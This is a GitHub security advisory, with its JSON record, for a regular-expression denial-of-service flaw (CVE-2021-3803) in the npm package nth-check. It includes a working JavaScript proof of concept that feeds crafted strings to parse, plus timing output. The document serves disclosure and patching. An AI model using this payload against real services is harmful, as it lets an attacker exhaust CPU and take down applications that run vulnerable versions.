ghsa-rp65-9cf3-cjxr
Vulnerability from github
Published
2021-09-20 20:47
Modified
2023-09-13 21:49
Summary
Inefficient Regular Expression Complexity in nth-check
Details

There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.

The ReDoS vulnerabilities of the regex are mainly due to the sub-pattern \s*(?:([+-]?)\s*(\d+))? with quantified overlapping adjacency and can be exploited with the following code.

Proof of Concept js // PoC.js var nthCheck = require("nth-check") for(var i = 1; i <= 50000; i++) { var time = Date.now(); var attack_str = '2n' + ' '.repeat(i*10000)+"!"; try { nthCheck.parse(attack_str) } catch(err) { var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms") } }

The Output attack_str.length: 10003: 174 ms attack_str.length: 20003: 1427 ms attack_str.length: 30003: 2602 ms attack_str.length: 40003: 4378 ms attack_str.length: 50003: 7473 ms

Show details on source website


{
  "affected": [
    {
      "ecosystem_specific": {
        "affected_functions": [
          "(nth-check).parse"
        ]
      },
      "package": {
        "ecosystem": "npm",
        "name": "nth-check"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-3803"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-09-20T20:15:09Z",
    "nvd_published_at": "2021-09-17T07:15:00Z",
    "severity": "HIGH"
  },
  "details": "There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.\n\nThe ReDoS vulnerabilities of the regex are mainly due to the sub-pattern `\\s*(?:([+-]?)\\s*(\\d+))?` with quantified overlapping adjacency and can be exploited with the following code.\n\n**Proof of Concept**\n```js\n// PoC.js\nvar nthCheck = require(\"nth-check\")\nfor(var i = 1; i \u003c= 50000; i++) {\n    var time = Date.now();\n    var attack_str = \u00272n\u0027 + \u0027 \u0027.repeat(i*10000)+\"!\";\n    try {\n        nthCheck.parse(attack_str) \n    }\n    catch(err) {\n        var time_cost = Date.now() - time;\n        console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost+\" ms\")\n    }\n}\n```\n\n**The Output**\n```\nattack_str.length: 10003: 174 ms\nattack_str.length: 20003: 1427 ms\nattack_str.length: 30003: 2602 ms\nattack_str.length: 40003: 4378 ms\nattack_str.length: 50003: 7473 ms\n```",
  "id": "GHSA-rp65-9cf3-cjxr",
  "modified": "2023-09-13T21:49:54Z",
  "published": "2021-09-20T20:47:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3803"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fb55/nth-check/commit/9894c1d2010870c351f66c6f6efcf656e26bb726"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/fb55/nth-check"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/8cf8cc06-d2cf-4b4e-b42c-99fafb0b04d0"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/05/msg00023.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Inefficient Regular Expression Complexity in nth-check"
}


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